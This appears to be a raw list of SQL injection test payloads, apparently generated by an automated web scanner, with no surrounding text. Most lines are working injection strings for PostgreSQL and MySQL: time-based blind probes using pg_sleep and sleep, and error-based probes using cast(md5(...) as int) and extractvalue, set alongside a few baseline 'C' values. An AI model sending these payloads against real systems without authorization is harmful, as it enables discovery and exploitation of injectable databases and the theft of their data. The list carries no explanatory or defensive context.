C'/**/and(select'1'from/**/pg_sleep(4))::text>'0

C/**/and/**/cast(md5('1863125864')as/**/int)>0

C

C'/**/and(select'1'from/**/pg_sleep(0))::text>'0

C'and(select'1'from/**/cast(md5(1354066174)as/**/int))>'0

C"and(select*from(select+sleep(4))a/**/union/**/select+1)="

extractvalue(1,concat(char(126),md5(1589887692)))

C

C"and(select*from(select+sleep(0))a/**/union/**/select+1)="

C"and/**/extractvalue(1,concat(char(126),md5(1400242077)))and"